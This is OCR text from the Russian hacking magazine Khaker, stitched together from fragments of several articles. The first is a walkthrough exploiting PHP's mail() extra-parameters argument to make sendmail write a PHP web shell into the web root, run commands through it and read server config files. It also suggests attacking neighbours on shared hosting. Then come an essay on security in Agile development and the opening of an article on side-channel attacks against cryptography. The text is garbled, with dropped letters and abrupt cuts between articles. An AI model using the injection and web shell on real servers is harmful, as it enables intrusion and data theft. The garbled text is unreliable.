книги хакеры / журнал хакер / 189_Optimized

Дополнительные:

1.Headers (Optional).

2.Parameters (Optional).

Все кажется нормальным на первый взгляд. Интерес здесь представляет второй дополнительный параметр. В документации по PHP расписано, что этот параметр можно использовать для добавления различных аргументов командной строки при отправке писем через sendmail, которые не были определены в файле с настройками. Также этот параметр по умолчанию выключен при запуске PHP в безопасном режиме начиная с версии 4.2.3.

Но рассмотрим теперь документацию к sendmail. Интерес для нас представляют следующие параметры:

•-O option=value

Устанавливает значение для опции option. Такая форма использует длинные имена.

•-Cile

Использовать альтернативный файл с настройками. Sendmail выдает нужные права (set-user-ID or set-group- ID), если того требует новый файл.

•-X logile

Логирует весь входящий и исходящий почтовый трафик в указанный файл.

И еще интересная опция:

•QueueDirectory=queuedir

Назначить директорию с очередью сообщений. Стандартный пример работы с этой функцией:

$to = 'a@b.com';

$subject = 's';

$message = 'm';

$headers = '';

$options = '-arg val';

mail($to, $subject, $message, $headers, $options);

Для более наглядного примера работы рассмотрим вызов этой функции в gdb. Для начала будем запускать бинарник php с нужными нам параметрами:

(gdb) ile php

Reading symbols from /opt/php-5.3.0/sapi/cli/

php...done.

(gdb) set args -r 'mail("a@b.com", "s", "m", "",

"-arg val");'

Ставим точку останова и запускаем:

(gdb) b mail.c:291

Breakpoint 1 at 0x83f39b2: ile /opt/php-5.3.0/

ext/standard/mail.c, line 291.(gdb) r

Starting program: /opt/php-5.3.0/sapi/cli/

php -r 'mail("a@b.com", "s", "m", "","-arg val");'

[Thread debugging using libthread_db enabled]

Breakpoint 1, php_mail (to=0x8b5c2b8 "a@b.com",

subject=0x8b5c2ec "s", message=0x8b5be2c "m",

headers=0x8b5be9c "", extra_cmd=0x8b5c31c

"-arg val")

at /opt/php-5.3.0/ext/standard/mail.c:291291

sendmail = popen(sendmail_cmd, "w");

Выводим значения нужных нам переменных:

(gdb) p sendmail_path

$1 = 0x89af284 "/usr/sbin/sendmail -t -i"

(gdb) p sendmail_cmd

$2 = 0x8b5c35c "/usr/sbin/sendmail -t -i -arg val"

Очень хочется вместо -arg val указать какую-нибудь команду­ типа ;ls -al или еще что-то подобное, но от такого установлена защита. Поэтому вместо прямых команд будем использовать рассмотренные выше аргументы.

EXPLOIT

Теперь загрузим минимальный шелл на сервер:

$to = 'a@b.c';

$subject = '<?php system($_GET["cmd"]); ?>';

$message = '';

$headers = '';

$options = '-OQueueDirectory=/tmp -X/var/www/

html/rce.php';

При открытии файла http://localhost/rce.php в браузере получим следующее содержание:

11226 <<< To: a@b.c

11226 <<< Subject: 11226 <<< X-PHP-Originating-

Script: 1000:mailexploit.php

11226 <<<

Но при проверке на самом сервере видим, что строка с шеллом есть, а значит, код исполняется:

> cat rce.php

11226 <<< To: a@b.c

11226 <<< Subject: <?php system($_GET["cmd"]); ?>

11226 <<< X-PHP-Originating-Script: 1000:

mailexploit.php

11226 <<<

Проверим работу http://localhost/rce.php?cmd=ls%20 -la:

11226 <<< To: a@b.c

11226 <<< Subject: total 20

drwxrwxrwx 2 * * 4096 Sep 3 01:25 .

drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..

-rw-r--r-- 1 * * 92 Sep 3 01:12 conig.php

-rwxrwxrwx 1 * * 206 Sep 3 01:25 mailexploit.php

-rw-r--r-- 1 www-data www-data 176 Sep 3

01:27 rce.php

11226 <<< X-PHP-Originating-Script: 1000:

mailexploit.php

11226 <<<

11226 <<<

11226 <<<

11226 <<< [EOF]

Или рассмотрим пример чтения файлов на сервере. Для этого воспользуемся аргументом -C:

$options = '-C/var/www/html/conig.php

-OQueueDirectory=/tmp -X/var/www/html/evil.php';

mail($to, $subject, $message, $headers, $options);

Получаем файл evil.php со следующим содержимым:

unknown coniguration line "dbhost = 'localhost';"

11124 >>> /var/www/html/conig.php: line 6:

unknown coniguration line "dbname = 'mydb';"

11124 >>> No local mailer deined

Есть, правда, одно «но»: мало кто даст пользователю контроль над всеми параметрами при отправке писем. Поэтому автор предложил несколько реальных сценариев:

1.Панель администратора

Хостеры обычно выдают доступ к этой функции владельцам Shared без проблем, и есть возможность прочитать файлы других пользователей — соседей этого хостинга.

Взлом

SDLC

SDLC (security development life cycle) — процесс

деюсь, что читатель знаком со всей этой темой...

Но главное, что нам нужно понять, — в чем будет отличие с точки зрения SDLC. Так вот, в «Водопаде» с SDLC наши регламенты, процедуры и прочие работы, связанные с безопасностью, отлично встраиваются в этапы методологии. У нас есть четкое планирование того, что мы хотим сделать и что увидим на выходе, при этом мы говорим в рамках всего разрабатываемого продукта: на этапе архитектуры оцениваем риски, строим модель, планируем защитные механизмы, прорабатываем требования, на этапе разработки используем выбранные фреймворки и подходы безопасного программирования, на выходе тестируем продукт и выпускаем. Это если кратко, не внедряясь во все процедуры SDLC. С Agile все несколько иначе, хотя бы потому, что есть приоритеты, циклы разработки с «постоянным выпуском» новых фич, и сегодня мы не очень можем знать, что и как мы будем разрабатывать через месяц (зависит, конечно, от Backlog и пропускной способности команды), и таких вот различий весьма много. В этих условиях довольно сложно взять и прикрепить «безопасность» в виде того SDLC, что описан МS. На самом деле различий гораздо больше, но журнал у нас не резиновый…

Мы (безопасники) привыкли воспринимать безопасность как нечто особое, отдельное от всего, тогда как на самом деле это просто одно из свойств «качества» продукта. По сути, в Agile не надо ничего придумывать и как-то

Тот самый SDLC от MS

для выбранных приоритезированных проектов может выполнять пентест или ручной анализ кода ;). Важно, что мы работаем не с конечным продуктом, проверяя ТОЛЬКО его, мы работаем с командой,­ проверяя, как у них организована была разработка, какие тесты они делали, как задокументировали вопросы безопасности и как организована работа с ключевыми элементами безопасности, какие риски они увидели. На разных гейтах мы бы прощупали разные слабые места и организовали бы feedback команде.

ЕЩЕНЕМНОГОБУКОВОК

Можно долго говорить, как можно что-то сделать, или придумывать разные забавные идеи и ходы, это весело и может быть полезно. Но главное, что я хотел сказать, — что нет общего подхода или плана. Есть набор разношерстных практик и процедур, будь то анализ рисков или фаззинг, — и все это давно известно, но вот собрать все это так, чтобы оно работало как машина, — это главная проблема и искусство. Так что можно забить на термин SDLC как на руководство или план — так оно вряд ли заработает, только отдельные моменты. Второе: безопасность продукта — это вопрос разработчиков, их знаний и контроля, а не отдельных команд и людей, поэтому перенос ответственности и проверок на сторону разработчиков может помочь. Третье: безопасность — это критерий качества продукта. И все это взаимосвязано. Безопасной вам разработки!

Тот самый SDLC от MS, воткнутый в Agile

Роман Коркикян roman.korkikian@yandex.com

ИЩЕМ КЛЮЧИ КРИПТОГРАФИЧЕСКИХ

АЛГОРИТМОВ

Криптография воспринимается как волшебная палочка, по мановению которой любая информационная система становится защищенной.

Но на удивление криптографические алгоритмы могут быть успешно атакованы. Все сложные теории криптоанализа нивелируются, если известна малейшая информация о промежуточных значениях шифра. Такую информацию можно получить при ошибках в реализации, а также манипулируя с физическими параметрами устройства (или измеряя их), которое выполняет шифр. Я постараюсь объяснить, как это возможно.

erandamx@shutterstock.com

Криптография под прицелом

Взлом

ОТКУДАРАСТУТРОГА

Давай попробуем рассмотреть реализацию любого криптографического алгоритма сверху вниз. На первом этапе криптографический алгоритм записывается

ввиде математических операторов. Здесь алгоритм находится

всреде, где действуют только законы математики, поэтому исследователи проверяют лишь математическую стойкость алгоритма, или криптостойкость. Этот шаг нас интересует мало, ибо математические операции должны быть переведены в код. На этапе работы кода критическая информация о работе шифра может утекать через лазейки в реализации. Переполнение буфера, неправильная работа с памятью, недокументированные возможности и другие особенности программной среды позволяют злоумышленнику найти секретный ключ шифра без использования сложных математических выкладок. Многие останавливаются на этом шаге, забывая, что есть еще как минимум один. Данные — это не аб-

стракция, а реальное физическое состояние логических элементов,

вто время как вычисления — это физические процессы, которые переводят состояние логических элементов из одного в другое. Следовательно, выполнение программы — это преобразование физических сигналов, и с такой точки зрения результат работы алгоритма определяется законами физики. Таким образом, реализация криптографического алгоритма может рассматриваться

вматематической, программной и физической средах.

Вконечном счете любой алгоритм выполняется с помощью «аппаратных средств», под которыми понимаются любые вычислительные механизмы, способные выполнять логические операции И, ИЛИ и операцию логического отрицания. К ним относятся стандартные полупроводнико-

вые устройства, такие как процессор и ПЛИС, нейроны мозга, молекулы ДНК и другие (goo.gl/GEszDD). У всех вычислительных средств есть как минимум два общих свойства. Первое свойство — для того, чтобы выполнить вычисление, нужно затратить энергию. В случае полупроводниковых устройств мы говорим об электрической энергии, в случае нейронов мозга, вероятно, о затраченных калориях (видел когда-нибудь толстых шахматистов?), в случае ДНК это, к примеру, химические реакции с выделением теплоты. Второе общее свойство

втом, что для корректного выполнения операций все вычислительные механизмы требуют нормальных внеш-

них условий. Полупроводниковые устройства нуждаются в постоянном напряжении и токе, нейроны мозга в покое (пробовал вести машину, когда твоя девушка пытается выяснить отношения?), ДНК в температуре. На этих двух свойствах основаны аппаратные атаки (hardware attacks), о которых пойдет речь.

На первый взгляд кажется, что физические процессы абсолютно нерелевантны с точки зрения безопасности, но это не так. Энергию, которая была израсходована в данный конкретный момент работы алгоритма, можно измерить и связать с двоичными данными, которые позволят найти ключ шифрования. На измерении физических эффектов, протекающих во время вычислений, основаны все атаки, которые называются атаками по второстепенным каналам (Side Channel Attacks). В России этот термин еще не до конца устоялся, поэтому можно встретить словосочетания «атаки по побочным каналам», «атаки по сторонним каналам» и другие.

Нормальные внешние условия тоже являются немаловажными. Рассмотрим, к примеру, напряжение, которое необходимо подать на вход процессора. Что случится, если это напряжение упадет до нуля на несколько наносекунд? Как может показаться на первый взгляд, процессор не перезагрузится, но, скорее всего, континуум физических процессов будет нарушен и результат алгоритма будет неверным. Создав ошибку в нужный момент, злоумышленник может вычислить ключ, сравнивая правильный и неправильный шифротексты. Изменение внешних условий используется для вычисления ключей в атаках по ошибкам вычислений (Fault attacks). Опять же в России этот термин устоялся не полностью: называют их и атаками с помощью ошибок, и атаками методом индуцированных сбоев, и по-другому.

АТАКИПОВТОРОСТЕПЕННЫМКАНАЛАМ

Мы начнем введение в атаки по второстепенным каналам с алгоритма DES, реализованного на C++ (схема алгоритма представлена на рис. 1, а его подробное описание ищи в Сети). Помимо того что ты увидишь, в каких неожиданных местах могут скрываться уязвимости, ты также узнаешь про основные приемы, используемые

ватаках по второстепенным каналам. Эти приемы необходимо прочувствовать, так как они служат основой для более сложных атак, которые будут рассмотрены

впоследующих статьях.